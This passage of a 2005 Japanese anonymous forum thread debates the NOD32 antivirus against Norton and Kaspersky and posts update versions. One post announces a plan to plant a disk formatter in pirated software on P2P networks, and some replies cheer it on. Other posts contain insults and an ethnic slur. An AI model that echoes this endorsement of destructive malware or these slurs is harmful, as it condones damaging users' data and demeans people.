NOD32使っているけど>>93-94で問題など発生しないよ。

99 :名無しさん@お腹いっぱい。:2005/12/13(火) 17:50:38
ガクガク((((;゚Д゚)))ブルブル

100 :名無しさん@お腹いっぱい。:2005/12/13(火) 18:08:14
1.1320 (20051212)

101 :名無しさん@お腹いっぱい。:2005/12/13(火) 18:18:48
>>99
なんで震えるのよ。
プロセスまで確認しているから心配することないよ。

102 :名無しさん@お腹いっぱい。:2005/12/13(火) 18:20:47
>>101
ついビビッタもんで。。。すまない ありがとう。

103 :名無しさん@お腹いっぱい。:2005/12/13(火) 20:09:10
( ´_ゝ`)

104 :名無しさん@お腹いっぱい。:2005/12/13(火) 20:13:16
ご希望のようなので

nyとシェアに流れてるクラック物に、半年に1回フォーマッタ仕込んどくわ

105 :名無しさん@お腹いっぱい。:2005/12/13(火) 20:31:04
>>104
nyに関してはそれでいいよ。どんどんやってくれ。

106 :名無しさん@お腹いっぱい。:2005/12/13(火) 20:45:27
俺なんか前世がNODだって言われたぜ。

107 :名無しさん@お腹いっぱい。:2005/12/13(火) 20:46:11
ガクガク((((;゚Д゚)))ブルブル ガクガク((((;゚Д゚)))ブルブル ガクガク((((;゚Д゚)))ブルブル

108 :名無しさん@お腹いっぱい。:2005/12/13(火) 21:27:45
>>104
タイ━━||Φ|(|゚|∀|゚|)|Φ||━━ホ!!!!

109 :名無しさん@お腹いっぱい。:2005/12/13(火) 21:46:45
>>104
これって犯罪じゃね?

110 :名無しさん@お腹いっぱい。:2005/12/13(火) 21:51:14
>>104
あんた凄腕ハッカーか?

111 :名無しさん@お腹いっぱい。:2005/12/13(火) 22:02:28
>>104
さぁ、今のうちに訂正・謝罪しないと後悔することになるけどいいのかな?

112 :名無しさん@お腹いっぱい。:2005/12/13(火) 22:05:45
>>104
犯行予告キタ━━━━━━(゚∀゚)━━━━━━ !!

113 :名無しさん@お腹いっぱい。:2005/12/13(火) 22:06:23
記念真紀子

114 :名無しさん@お腹いっぱい。:2005/12/13(火) 22:09:46
>>108-112
ny厨必死ですなww

115 :名無しさん@お腹いっぱい。:2005/12/13(火) 22:11:11
>>108-112
割る方が犯罪だろうに。
必死すぎw

116 :名無しさん@お腹いっぱい。:2005/12/13(火) 22:11:38
nyってなんですか?

117 :名無しさん@お腹いっぱい。:2005/12/13(火) 22:13:47
〜方が犯罪

wwwwwwwww

118 :名無しさん@お腹いっぱい。:2005/12/13(火) 22:14:36
犯罪者必死だな

119 :名無しさん@お腹いっぱい。:2005/12/13(火) 22:15:28
割ってる香具師にとっては困った事態だろうからな。
それにしても必死すぎw

120 :名無しさん@お腹いっぱい。:2005/12/13(火) 22:15:53
つーかnyにあるの1.1じゃん更新できるから問題ないが

121 :名無しさん@お腹いっぱい。:2005/12/13(火) 22:16:42
>>104びびりすぎwwww

122 :名無しさん@お腹いっぱい。:2005/12/13(火) 22:18:23
まぁ、逮捕されることはないだろうけど、事情聴取はされるね

123 :名無しさん@お腹いっぱい。:2005/12/13(火) 22:19:06
つーか>>108-112を真に受ける時点でアホw

124 :名無しさん@お腹いっぱい。:2005/12/13(火) 22:19:31
nyってなんですか?

125 :名無しさん@お腹いっぱい。:2005/12/13(火) 22:19:32
誘導されてきますた
しかし、どういう状況かわかんね

126 :名無しさん@お腹いっぱい。:2005/12/13(火) 22:20:08
通報しました

127 :名無しさん@お腹いっぱい。:2005/12/13(火) 22:21:22
いや、いくらnyだろうが、破壊行為・予告は立派な犯罪になる。
nyでポエムを交換してる人もいるしなw

128 :名無しさん@お腹いっぱい。:2005/12/13(火) 22:23:15
割って使うのは犯罪。

129 :名無しさん@お腹いっぱい。:2005/12/13(火) 22:23:55
関係ないがこの間犯行予告したν速のコテが昨日逮捕されてたな。

130 :名無しさん@お腹いっぱい。:2005/12/13(火) 22:24:53
そんなの”自己責任”で切られて終わり。
WinnyやShareを使っていることがわかったらもう相手にもされず。

131 :名無しさん@お腹いっぱい。:2005/12/13(火) 22:38:32
犯罪者が犯罪予告者をいじめるスレはここですか?

132 :名無しさん@お腹いっぱい。:2005/12/13(火) 22:50:57
犯罪者が泣き叫んでいるのをニヤニヤヲチするスレです。

133 :名無しさん@お腹いっぱい。:2005/12/13(火) 23:04:35
いじめっておもしろいね

134 :名無しさん@お腹いっぱい。:2005/12/13(火) 23:09:35
( ゚д゚)ポカーン

135 :名無しさん@お腹いっぱい。:2005/12/13(火) 23:13:43
つーか本体が本家サイトからダウンロードできるのに
何でp2pでわざわざ落とす連中が居るのか理解できない

136 :名無しさん@お腹いっぱい。:2005/12/13(火) 23:21:16
こいつ真性?

137 :名無しさん@お腹いっぱい。:2005/12/13(火) 23:29:27
本家から落とせるのは体験版のみ
それ以外はIDとパスが要求される


138 :名無しさん@お腹いっぱい。:2005/12/13(火) 23:31:17
体験版だって(ry

139 :名無しさん@お腹いっぱい。:2005/12/13(火) 23:39:14
体験版じゃなくて本体そのものだよ。
ただ、そのあとにもらえるPASSが期限付き1ヶ月っていうだけで。
 
要はPASSさえ(略

140 :名無しさん@お腹いっぱい。:2005/12/13(火) 23:39:17
>>137
お前バカなの? IDなんざメールを送れば返信してくれる。

141 :名無しさん@お腹いっぱい。:2005/12/13(火) 23:40:40
そゆこと。わざわざp2pなんかで落とさなくても本家で落として一ヶ月に一回メールを送るだけでいい。

142 :名無しさん@お腹いっぱい。:2005/12/13(火) 23:54:56
こいつ真性?

143 :名無しさん@お腹いっぱい。:2005/12/13(火) 23:58:00
相変わらず基地外スレだな

144 :名無しさん@お腹いっぱい。:2005/12/14(水) 01:29:46
NODは使いやすいな、凄くいいよ。
ここに常駐している馬鹿どもは死ね。

145 :名無しさん@お腹いっぱい。:2005/12/14(水) 01:33:34
↑凄く割りやすいそうです。

146 :名無しさん@お腹いっぱい。:2005/12/14(水) 01:34:16
基地外警報発令中

147 :名無しさん@お腹いっぱい。:2005/12/14(水) 01:34:19
>>144
どのように使いやすいのか、どう凄くいいのか、書かなければ
おまえも馬鹿の仲間入り。

148 :名無しさん@お腹いっぱい。:2005/12/14(水) 01:45:16
146は基地外だそうだ。

149 :名無しさん@お腹いっぱい。:2005/12/14(水) 01:47:35
NOD32のどこがいいんだよ(爆)
くやしかったら言ってみやがれってんだ!ば〜かばーか

150 :名無しさん@お腹いっぱい。:2005/12/14(水) 01:48:45
>>149
やっぱNORTONしかないっしょ?

151 :名無しさん@お腹いっぱい。:2005/12/14(水) 01:49:23
>>149
夜釣りですか、おつかれッス! く(`Д´)ゞビシッ

152 :名無しさん@お腹いっぱい。:2005/12/14(水) 01:52:35
俺はバイドクターが一番使いやすいよ

153 :名無しさん@お腹いっぱい。:2005/12/14(水) 01:56:12
NODが糞ってのは証明されてますから笑
NAVより劣っていることを認めろよキモヲタ共笑

154 :名無しさん@お腹いっぱい。:2005/12/14(水) 02:01:09
V3が最高

155 :名無しさん@お腹いっぱい。:2005/12/14(水) 02:26:38
>>149
>>153-154

>>3-4

156 :名無しさん@お腹いっぱい。:2005/12/14(水) 02:27:41
>>155
やっぱりノートン最高
2006は軽いし最強だね

157 :名無しさん@お腹いっぱい。:2005/12/14(水) 02:30:14
>>156
2006も十分に重いし、スキャン速度も遅い
気にしない人にはNOD32よりお薦めかもな。

158 :名無しさん@お腹いっぱい。:2005/12/14(水) 02:38:26
なに言ってんの?
Nortonが最高に決まってるでしょ。

159 :名無しさん@お腹いっぱい。:2005/12/14(水) 02:41:04
スレ違いだが、ノートン2006がもの凄く軽いと言ってる人へ
ノートンはNIS 200n、KasperskyはKAV 200n

Kasperskyは2006でNOD32と同等な軽さになっているがNISは相変わらず重い。
> ttp://www.wilderssecurity.com/forumdisplay.php?f=32

160 :名無しさん@お腹いっぱい。:2005/12/14(水) 02:42:22
> http://www.wilderssecurity.com/showthread.php?t=109688


161 :名無しさん@お腹いっぱい。:2005/12/14(水) 02:58:34
>>159
NISの話じゃないよ
NAVだよ。

162 :名無しさん@お腹いっぱい。:2005/12/14(水) 03:04:49
NAVも殆ど同じ、NAV2005とNAV2006を比べればNAV2006のほうが軽いがそれはどんぐりの背比べと同じ。

163 :名無しさん@お腹いっぱい。:2005/12/14(水) 03:09:46
NAV2006もNOD32もドングリの背比べが正解

164 :名無しさん@お腹いっぱい。:2005/12/14(水) 03:11:41
2006:32=62.6875:1

NAV、NISはNODの62.6875倍

165 :名無しさん@お腹いっぱい。:2005/12/14(水) 03:13:15
軽さだけが取り柄プ

166 :名無しさん@お腹いっぱい。:2005/12/14(水) 03:14:58
煽ってもムダ、NOD32が最高に優秀であることは周知だからなw

167 :名無しさん@お腹いっぱい。:2005/12/14(水) 03:48:37
nyのホワイター系も検出できない糞NODが優秀だってw
どう足掻いてもノートンに勝てない

168 :名無しさん@お腹いっぱい。:2005/12/14(水) 03:53:40
どう足掻いても(重さでは)ノートンに勝てない

169 :名無しさん@お腹いっぱい。:2005/12/14(水) 03:59:39
NAV2006が重いってどんだけ糞スペックのPCで考えてんだよw

170 :名無しさん@お腹いっぱい。:2005/12/14(水) 04:31:48
>>166
個別例を出しても意味ないよ。
検出性能は>>3にあるようにどちらも最高水準、どちらが上かを争う程の差なんてないよ。

で、大きな差としては重さとスキャン速度。
これはNOD32のほうが遥かに高性能。

>>169
PCスペック無関係
どんなに高性能なPCを用いても差は縮まらないよ。

171 :170:2005/12/14(水) 04:35:04
>>166>>167に訂正

172 :名無しさん@お腹いっぱい。:2005/12/14(水) 04:44:13
重さも速度もさほど差はないよ

173 :名無しさん@お腹いっぱい。:2005/12/14(水) 04:53:56
>>172
計測結果と全く異なることを根拠を示さずに言われてもなぁ。
体感差でも圧倒的多数の人がその違いを認知しているし、君の言うことは誰も信じないよ。

174 :名無しさん@お腹いっぱい。:2005/12/14(水) 06:23:20
>>3はいいんだがテスト環境ぐらい書いて欲しい物
キヤノンみたいにPenUとか言われるとそれはそれで萎えるので

175 :名無しさん@お腹いっぱい。:2005/12/14(水) 06:27:21
俺もスペックがあればノートンなんだが、古いP4だしな。
NODで我慢してるよ。

176 :名無しさん@お腹いっぱい。:2005/12/14(水) 06:36:42
実際スキャンすれば分かるだろうが、
スキャン速度などそんなに変わらない。
ハードディスクの速度によってソフトごとの優劣は目立たなくなってしまう。
2回スキャンなどすればキャッシュされて違いもはっきりするが、
通常そんなことはやらないし意味がない。

177 :名無しさん@お腹いっぱい。:2005/12/14(水) 07:01:16
>>176
おはよう。
朝まで自演、ご苦労さん。

本日のネタ  NOD vs ノートン
自演時間   約7時間

178 :名無しさん@お腹いっぱい。:2005/12/14(水) 07:24:41
犯罪予告を必死で誤魔化そうとしてノートン叩きをもちだす・・・と・・・w

179 :名無しさん@お腹いっぱい。:2005/12/14(水) 07:25:58
NISとNAVを一緒だって言ってる馬鹿は実際使ったことがないだろ
馬鹿は黙ってろて話だなw

180 :170:2005/12/14(水) 07:27:19
> スキャン速度などそんなに変わらない。
なにを寝ぼけたことを言っているのかな?
思いっきり変わる。
全く違うんだよ、脳内で勝手に現実を変えないでくれよ。
そもそも、NOD32はノートンのような低速なアクセスはしない。
ファイルを一つ一つ読んでいるわけではないんだよ。

181 :名無しさん@お腹いっぱい。:2005/12/14(水) 07:29:02
>>180
>ファイルを一つ一つ読んでいるわけではないんだよ

じゃあどうやって読んでるの?
詳しく

182 :170:2005/12/14(水) 07:45:49
何も知らぬのに、>>176のような妄想を書く奴に教える気はない。
自身で勉強しろ。

183 :名無しさん@お腹いっぱい。:2005/12/14(水) 07:49:07
>>182
それは俺じゃねーよ馬鹿
ソースや解説も添えれないくせに妄想で厨発言をするのはおまえだろ

184 :170:2005/12/14(水) 07:52:21
笑わすなよ、自身で調べることもせずに煽れば情報が手に入るとでも思っているのか?
幼稚過ぎだよ。
概略程度は、探せば見つかるぜ。
もちろんそれ以上の詳細になると機密保護の壁に突き当たる。
精々足掻いてみることだ。

185 :名無しさん@お腹いっぱい。:2005/12/14(水) 07:52:43
また自治厨が問題を起してるのか
血の気多すぎ、もっとマタリしてくれ

186 :名無しさん@お腹いっぱい。:2005/12/14(水) 07:53:45
正直このスレが荒れるのは自治厨が原因かもな

187 :名無しさん@お腹いっぱい。:2005/12/14(水) 07:54:33
基地外が騒いでいるだけだ、気にするな、基地外さん。

188 :名無しさん@お腹いっぱい。:2005/12/14(水) 07:56:07
>>187
いや、まじでさ、お前の言ってる事はもっともなんだが
棘が多すぎて度が過ぎて行ってるじゃん

俺まで叩かれそうなんで消えるけどね

189 :名無しさん@お腹いっぱい。:2005/12/14(水) 08:37:26
今度こそ寝たか?^^; > 自演魔人
たぶん11時頃に活動再開すると思われ(w

190 :名無しさん@お腹いっぱい。:2005/12/14(水) 10:09:58
>>184
お前はこの前「一番いいセキュリティ」スレで英語も読めず大恥をかいた男にそっくりだな

191 :名無しさん@お腹いっぱい。:2005/12/14(水) 10:22:19
>>180
システム全スキャしたけど、遅かったよ。
NAVと同じぐらい。遅いと言われているbitdefenderが何故か速かった。

192 :名無しさん@お腹いっぱい。:2005/12/14(水) 10:26:21
NOD32は詳細スキャンをするとめちゃくちゃCPU食うよ
まぁ一番最初の一回だけだから別にいいけど

193 :名無しさん@お腹いっぱい。:2005/12/14(水) 12:25:29



マイクロソフトも使用しているNOD32
http://www.wilderssecurity.com/showthread.php?s=2260028f61f1f329b2eca43065024445&t=81505




194 :名無しさん@お腹いっぱい。:2005/12/14(水) 12:31:57
>>193
そこもレベル低いな。
だいたいマイクロソフトは他のソフトも使ってるって書いてあるじゃないか。

195 :名無しさん@お腹いっぱい。:2005/12/14(水) 12:54:29
MSはペストパトロールなんか使ってるしな・・・

196 :名無しさん@お腹いっぱい。:2005/12/14(水) 13:02:36
カスペは米国防総省やNATOなどで使われているな。そういう権威付けが欲しいのか。

197 :名無しさん@お腹いっぱい。:2005/12/14(水) 13:23:31
>>180
>ファイルを一つ一つ読んでいるわけではないんだよ

198 :名無しさん@お腹いっぱい。:2005/12/14(水) 14:22:34
>>189
自演でもなんでも結構
お前さえいなければこのスレは荒れない
そこら辺をよくわかってくれれば、それでいい。



199 :名無しさん@お腹いっぱい。:2005/12/14(水) 16:07:11
つ1.1321 (20051213)

200 :名無しさん@お腹いっぱい。:2005/12/14(水) 16:40:25
>>194
君ほどじゃないよw

201 :名無しさん@お腹いっぱい。:2005/12/14(水) 17:35:19
昨日からここのメーカーの箱詰めのバイトいってます、面接でソフトは何使ってる?
ときかれました。もちろんNOD32と答えたんですが・・・ごめんなさい。。
本当はパンダ使ってるんです・・・

202 :名無しさん@お腹いっぱい。:2005/12/14(水) 19:14:53
NOD32がアンチウィルスソフトとして最高性能を誇っていることが知れ渡って来たな。
昔から居着いている荒らしの幼稚な煽りを除けば大きな問題もなく落ち着いているようだ。
2.50になりバランスがよくなったことが一番影響しているかもな。

203 :名無しさん@お腹いっぱい。:2005/12/14(水) 19:46:56
>>202
あ〜あ、工作人のかたご苦労様です(爆)
NORTONが最強なのは定説なのにね

204 :名無しさん@お腹いっぱい。:2005/12/14(水) 19:54:59
>>203
今時、(爆)とか全角使うヤツはおっさんかアホ

205 :名無しさん@お腹いっぱい。:2005/12/14(水) 20:12:29
自治厨キタキタキタキタ━━━(゚∀゚≡(゚∀゚≡゚∀゚)≡゚∀゚)━━━━!!!!!!!!!!

今日も煽り爆発ですねww

206 :名無しさん@お腹いっぱい。:2005/12/14(水) 20:13:58
釣られて飛び出す荒らし痔治厨

207 :202:2005/12/14(水) 20:25:57
>>203
ああ、ノートンは最強だね。
重さやスキャン速度が遅いことを承知で使うのならノートンは、よい製品だ。

208 :名無しさん@お腹いっぱい。:2005/12/14(水) 20:26:06
>>204-206
おまえら、見事に釣られてんな。おまえらみたいな低能がいるからいつまでも煽りが絶えない。

209 :名無しさん@お腹いっぱい。:2005/12/14(水) 21:56:41
なんか、こんな話題ばっかりですね

210 :名無しさん@お腹いっぱい。:2005/12/14(水) 22:01:58
アンチウイルスなど常時そんな話題があるモノではないと思うんだ
アップデート障害が起こってるソースやいつも何かしら不具合が出てるキング以外は・・・

211 :名無しさん@お腹いっぱい。:2005/12/15(木) 00:10:39
今日近所のショップにNODを買いに行ったら
店員にバスターを激しく勧められた。
やっぱり大手だけにキックバックが大きいからなんだろうね・・・

ちなみにNODはおいてなかった orz

212 :名無しさん@お腹いっぱい。:2005/12/15(木) 00:14:00
一般の家電量販店なんてそんなもんだろ
バスターとノートンくらいじゃね?
NODは大型ショップ行かないとないな。

213 :名無しさん@お腹いっぱい。:2005/12/15(木) 00:20:08
この前行った店はNOD32が2個あった
目玉ですぐわかった

214 :名無しさん@お腹いっぱい。:2005/12/15(木) 00:20:55
俺は緑色で何となくわかった

215 :名無しさん@お腹いっぱい。:2005/12/15(木) 00:49:20
1.1322 (20051214)

216 :名無しさん@お腹いっぱい。:2005/12/15(木) 00:59:16
http://headlines.yahoo.co.jp/hl?a=20051214-00000011-inet-sci
ウイルス対策ソフト、有償でも無償でも効果は同じ!?

217 :名無しさん@お腹いっぱい。:2005/12/15(木) 01:21:29
無償だから極端に性能が悪いってことはない、無料と言っても広告宣伝付きだから配布元はちゃんとやっていけている。
まぁ、NOD32がアンチウィルスソフトでは最高性能を誇っていることにかわりはない。

218 :名無しさん@お腹いっぱい。:2005/12/15(木) 01:23:14
じゃあNODなんて買わなくてもAVAST・AntiVir・AVGでも十分ってことだね。
良かった買わなくてw

219 :名無しさん@お腹いっぱい。:2005/12/15(木) 01:24:31
そうそう。AVAST・AntiVir・AVGでも十分だよ。
そっちのスレに帰りな

220 :名無しさん@お腹いっぱい。:2005/12/15(木) 01:32:42
つ1.1322 (20051214)

221 :名無しさん@お腹いっぱい。:2005/12/15(木) 01:33:22
KINGSOFT も忘れないでね

222 :名無しさん@お腹いっぱい。:2005/12/15(木) 02:43:27
キンキンソフトイラネ

223 :名無しさん@お腹いっぱい。:2005/12/15(木) 02:50:20
まぁ、自分がそれでいいと思ったのならそれ使えばいいじゃんよ。
NOD32がアンチウィルスソフトでは最高性能であることなど、気にする必要はないぜ。

224 :GDS:2005/12/15(木) 16:22:06
696 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/14(水) 22:50:59 ID:gHgH9mpH0
B2の時はNOD32でも行けたんだが
正式版になってからNOD32が監視してCPU負荷100%になる……orz
Ver2.01を頼む。

225 :名無しさん@お腹いっぱい。:2005/12/15(木) 16:36:24
>>224
意味わかんね

226 :名無しさん@お腹いっぱい。:2005/12/15(木) 16:55:17
つ1.1322 (20051214)

227 :名無しさん@お腹いっぱい。:2005/12/15(木) 19:48:02
つ 1.1323 (20051215)

228 :名無しさん@お腹いっぱい。:2005/12/15(木) 20:36:19
何でこんなに下がってるの????

229 :名無しさん@お腹いっぱい。:2005/12/15(木) 20:38:06
つ1.1324 (20051215)

230 :名無しさん@お腹いっぱい。:2005/12/16(金) 07:59:45
購入の参考にしたいのだけど、NOD32の欠点ってファイアウォール機能が付いてない点以外にはどんなものがあるだろう?

231 :名無しさん@お腹いっぱい。:2005/12/16(金) 08:21:59
>>NOD32の欠点ってファイアウォール機能が付いてない点

こういう認識ならNortonかバスターかマカフィー使っておけ。
キミには使いこなせない、マジで。

232 :名無しさん@お腹いっぱい。:2005/12/16(金) 08:34:36
>>230
ファイアウォールが付いていないのは確かに欠点ではない。
欠点はユーザーに基地外が多いこと以外特にない。

233 :名無しさん@お腹いっぱい。:2005/12/16(金) 08:54:38
>>230
ブラウザのFirefoxの欠点って、メーラーが付いていない点以外にはどんなものがあるだろう?

みたいなおかしなこといってないか?
(実際はThunderbirdあるけどなw)

統合ソフトのおまけの糞Firewallより、単体のFirewall専用ソフト
の方が遥かに優秀で、しかも軽い。
Freeもいっぱいあるんだから、併用すればいいだけかと。

で、それ以外の欠点だと、

・2chスレがアンチ&信者であまり機能していない。
・細かい設定ができる分、設定項目がやや多い = 人によっては設定が複雑に感じるかも
(デフォルトでも普通に防いでくれるが。)

くらいじゃ。
昔のバージョンだと糞みたいなバグがあって欠点だったが、現行のコンポーネントは安定してる。

とりあえず体験版使ってみたら?
仮に乗り換えたくなったとしても、綺麗にアンインストールできるし。

234 :名無しさん@お腹いっぱい。:2005/12/16(金) 09:05:06
>>230みたいなバカにはNOD32は10年早い

235 :名無しさん@お腹いっぱい。:2005/12/16(金) 09:13:29
体験版入れても無理でしょ
どうせここで質問しまくって、荒らしていく元ノートン厨と同じパターン

236 :名無しさん@お腹いっぱい。:2005/12/16(金) 09:26:37
せっかくソフト購入するんだからファイアウォールがセットになってる方が設定する時も楽でお得なんじゃないかと思ってたんだけど、
明らかな素人考えだったようで見苦しい所をお見せしました。

使用してるPCが最近のPCに比べて大分スペックが劣るのでノートンは辛そうだしバスターは一回痛い目に合ってるので使いたくないしマカフィーはあまり良い話を聞かないしで、
軽くて強力という話を良く聞くNOD32を買ってみようかと思ったのですが自分には早かったようで。

何か違うものを探してみます。レスありがとうございました。

237 :名無しさん@お腹いっぱい。:2005/12/16(金) 09:27:27
>綺麗にアンインストールできるし。
さすがにレジストリ履歴は残るけどな

238 :名無しさん@お腹いっぱい。:2005/12/16(金) 09:31:42
>>236
NORTON最強、これ定説だよ

239 :名無しさん@お腹いっぱい。:2005/12/16(金) 09:32:56
>>236
もうね、凄いでしょ、この信者の数。他のスレではこんな反応はまず見られないよ。
細かい欠点は少なからずあるけどそれを挙げたらレスを付ける価値に見合わないほど罵倒されてしまうの。
新規ユーザーをこれほど大切にしない信者もそういない。

240 :名無しさん@お腹いっぱい。:2005/12/16(金) 09:46:25
自分の信念を確固として確立していない者にNODは早いって言ってるだけ。
信者とかノートン厨房とかそんなものは関係ない。

241 :名無しさん@お腹いっぱい。:2005/12/16(金) 10:00:43
ていうか、あたかもNOD信者のように振るまい、スレを荒らしてるのはNorton厨だし。

242 :名無しさん@お腹いっぱい。:2005/12/16(金) 10:41:38
みえみえで萎えるな。
そんなにNortonとNODを闘わせたいか?

243 :名無しさん@お腹いっぱい。:2005/12/16(金) 10:52:43
アンチウイルス如きに自分の信念を確固と確立とか言ってるの。
恥ずかしくて見てらんないでしょ。

244 :名無しさん@お腹いっぱい。:2005/12/16(金) 10:54:03
>>236
分かっているとは思うけど、一行レスで煽ってるのはアンチ or 信者
なので、気にしないほうがいいよ。
つうか既出だが、このアンチ vs 信者れがNO32最大の欠点w

ちなみに性能と軽さを求めるならNOD32が有力候補なので、
やはり体験版で試してみるべきかと。

NOD32に限らず、買ってから
「これじゃあわねぇから他の製品探さなきゃ!」
という事態を避けるにためにもな。

245 :名無しさん@お腹いっぱい。:2005/12/16(金) 10:59:20
>>243
確かにw
NODに火壁がないことは欠点ではないかな、と発言した人は
「自分の信念を確固として確立していない者」なんだな、信者にとってはw
ほとんど宗教w

246 :名無しさん@お腹いっぱい。:2005/12/16(金) 11:02:04
>>236
FirewallとAntiVirusは別のソフトだから、
一緒のパッケージでも設定はそれぞれにしてやらないと意味無いよ。
MS-OfficeでWordの設定しても、Excelの設定に反映されるわけじゃないのと同じ。

ちなみに昔使ってた無印Athlon1.2GHz/512Memマシン(WinXP SP2)に
NOD32いれたけど常駐でも負荷感じさせずに動くよ。

おなじマシンでNIS2005だと話にならないのはもちろん
NAV2003単体でも重くて常駐監視はとてもやってられなかった。

他に軽いのだとAVGとかかなぁ。
236のマシンスペックがわからないけど、参考までに。


247 :名無しさん@お腹いっぱい。:2005/12/16(金) 11:03:27
AVもFWもこのソフトじゃなきゃダメ!
って奴の方がよっぽど信者だと思うけど。
性能のいいソフトを使えばいいじゃないか。

248 :名無しさん@お腹いっぱい。:2005/12/16(金) 11:03:36
NODスレに常駐して魔女狩りしてるNorton信者も立派な宗教家だと思いますが。

249 :名無しさん@お腹いっぱい。:2005/12/16(金) 13:11:21
書庫内の感染ファイルのみ 削除する機能がない物かな・・・
削除 隔離 にチェックを入れてたら 隔離エラーとでて
隔離せずにアーカイブごと削除されたよ

250 :名無しさん@お腹いっぱい。:2005/12/16(金) 13:44:37
>>246
>NAV2003単体でも重くて常駐監視はとてもやってられなかった

そりゃNAV"2003"は、常駐監視のデフォ値がアーカイブも対象なのだから当たり前。

251 :名無しさん@お腹いっぱい。:2005/12/16(金) 13:48:15
正規購入者が一人もいないスレw
nortonを中傷してる場合じゃないだろwww

252 :名無しさん@お腹いっぱい。:2005/12/16(金) 14:27:15
>>249
マジ?NODってそんな糞仕様なの?
検出力以前の問題ジャン。

253 :名無しさん@お腹いっぱい。:2005/12/16(金) 14:39:36
つつ1.1325 (20051215)


254 :名無しさん@お腹いっぱい。:2005/12/16(金) 14:39:38
>>252
しらじらしい・・・・・m9(^Д^)プギャーーーッ

255 :名無しさん@お腹いっぱい。:2005/12/16(金) 14:55:16
>>249
> 書庫内の感染ファイルのみ 削除する機能がない物かな・・・
書庫解凍時にAMONで取り除く仕様だからね。
オンデマンドでその機能を付加する予定もなさそうです。

256 :名無しさん@お腹いっぱい。:2005/12/16(金) 14:58:04
アーカイブごと削除するんじゃ書庫内検査の意味ねーな
大事なファイルを勝手に削除されたんじゃたまらん

257 :名無しさん@お腹いっぱい。:2005/12/16(金) 15:28:34
ナニコノスレ(´・ω・`)

258 :名無しさん@お腹いっぱい。:2005/12/16(金) 15:49:15
ノートンに粘着するNOD厨=日本に粘着するチョン
であることが証明されたスレであります!

259 :名無しさん@お腹いっぱい。:2005/12/16(金) 15:50:26
http://tmp5.2ch.net/test/read.cgi/tubo/1130566010/116
このスレを見る時の注意事項

260 :名無しさん@お腹いっぱい。:2005/12/16(金) 15:53:53

   ∩___∩     
   | ノ 雑音   ヽ/⌒) 
  /⌒) (゚)   (゚) | .|  
 / /   ( _●_)  ミ/   NODの性能は宇宙一ィィィィ!!!!!
.(  ヽ  |∪|  /      そうだ!そうだ! ノートンは糞なんだぁぁぁぁ!
 \    ヽノ /   
  /      /  
 |   _つ  /    
 |  /UJ\ \       
 | /     )  )       
 ∪     (  \    
        \_)


261 :名無しさん@お腹いっぱい。:2005/12/16(金) 18:22:50
>>256
大事なファイルがウィルスと一緒にアーカイブさせているほうが変だよ。

262 :名無しさん@お腹いっぱい。:2005/12/16(金) 18:32:04
前にもメールが全部削除されるって話がありましたよね・・・
それって不具合じゃないのかな、、、対応する素振りも見せないし。。。

263 :名無しさん@お腹いっぱい。:2005/12/16(金) 18:34:43
不具合というより、仕様を理解せずに無茶な設定をした結果だろうな。
理解せずに設定値を変えてトラブルのは自業自得だろ。

264 :名無しさん@お腹いっぱい。:2005/12/16(金) 18:38:24
そんなミスを犯す奴って基本的に頭の構造に問題があるんだろうな。
そんな奴はデフォルトのまま使ってろってw

265 :名無しさん@お腹いっぱい。:2005/12/16(金) 18:43:21
そんなの誰一人金払って買ってないこのスレで言えた事かw

自業自得wwwwwwwwwwwwwwww

266 :名無しさん@お腹いっぱい。:2005/12/16(金) 18:47:30
俺ちゃんと購入してる。

267 :名無しさん@お腹いっぱい。:2005/12/16(金) 18:49:14
これがオススメ

「キングソフトインターネットセキュリティ2006」(金山毒覇)

まもなく無償ダウンロード終了!欲しい人は急げ!

http://www.kingsoft.jp/

268 :名無しさん@お腹いっぱい。:2005/12/16(金) 18:59:17
> 累計ダウンロード数 ・・・・・・・・ 592,594 本
お、すごいね。
59万ですか?

推測した内訳
・ダウンロードしてインストしなかった人10万人
・インストしたけど糞なので消した人40万人
・不具合出まくりだけど頑張っている人4万人
・なんかよくわからんけど使っている人5万人

こんな感じたろw

269 :名無しさん@お腹いっぱい。:2005/12/16(金) 19:14:47
100万突破したら半年無料になるらしいな。
結局どうでもいいってこった!

270 :名無しさん@お腹いっぱい。:2005/12/16(金) 19:27:12
体験版で試して、気に入ったから買ったよ。
ノートンは買いたいと思わないけど。

271 :名無しさん@お腹いっぱい。:2005/12/16(金) 19:52:55
なにかにつけてノートン(これが一番多い)と比較したがる厨は、
NOD信者だろうとNorton厨だろうと同レベル。
どっちか騙って荒らしてるのがほとんどだと思うけど。
普通の機能比較じゃなくてこれ最強あれ最強と根拠のないレスばっかり。

俺はNortonからNODに乗り換えたけど、もうNortonに興味ない。
今使ってるソフトしか調べようとも思わないし、その他は眼中からなくなった。
今後Norton使えばNoroton使い倒そうと思うしKAVならKAV使い倒そうと思う。
あれ?マジレスしちゃった。

272 :名無しさん@お腹いっぱい。:2005/12/16(金) 20:08:09
アンチウイルスソフトにこだわるのも面倒だよね。
まあ大切ではあるかもしれないけど。

273 :名無しさん@お腹いっぱい。:2005/12/16(金) 20:23:12
>あれ?マジレスしちゃった。

それ以前に、
大半がスレ主のZ先生の自演だし。(・∀・)ニヤニヤ

274 :名無しさん@お腹いっぱい。:2005/12/16(金) 21:30:36
>>271
ノートンと比較して荒らしたいのはお前だけw
NOD32の比較相手は昔も今もKaspersky。
2chだけではなく、海外のセキュリティサイトでも同様。
NOD32とKasperskyのどちらがより高性能なのか?は、ここ数年間の共通した論争点なんだよ。
悪いけど、ノートンは入ってない。

275 :名無しさん@お腹いっぱい。:2005/12/16(金) 21:51:56
どっちが高性能かというのも方向性の違いで解決したと思うんだがな・・・

276 :名無しさん@お腹いっぱい。:2005/12/16(金) 22:19:14
なる。
自演を続ける動機の一つに、
>>274を繰り返し主張したいってのが含まれていたのね(w

277 :名無しさん@お腹いっぱい。:2005/12/16(金) 22:37:01
>>275
> どっちが高性能かというのも方向性の違いで解決したと思うんだがな・・・
解決?
なにを言いたいのか分からないが、良きにせよ悪しきにせよNOD32とKasperskyは常に比較され続けている。
ウィルスに対する対応手法が大きくことなることと、どちらもアンチウィルスを代表する性能を有していることが背景にある。
シグネチャの量と配布の速さでKaspersky、ヒューリスティック性能と最小のシグネチャによる高効率な防衛をするNOD32。
この両者は常に比較されるに相応しい性能を有している。

非常に多くの書庫に対応しているKaspersky、最小限度の書庫にしか対応していないNOD32。
それでいて、NOD32は実行可能型書庫をKasperskyよりも巧みに検査するエンジンを有している。
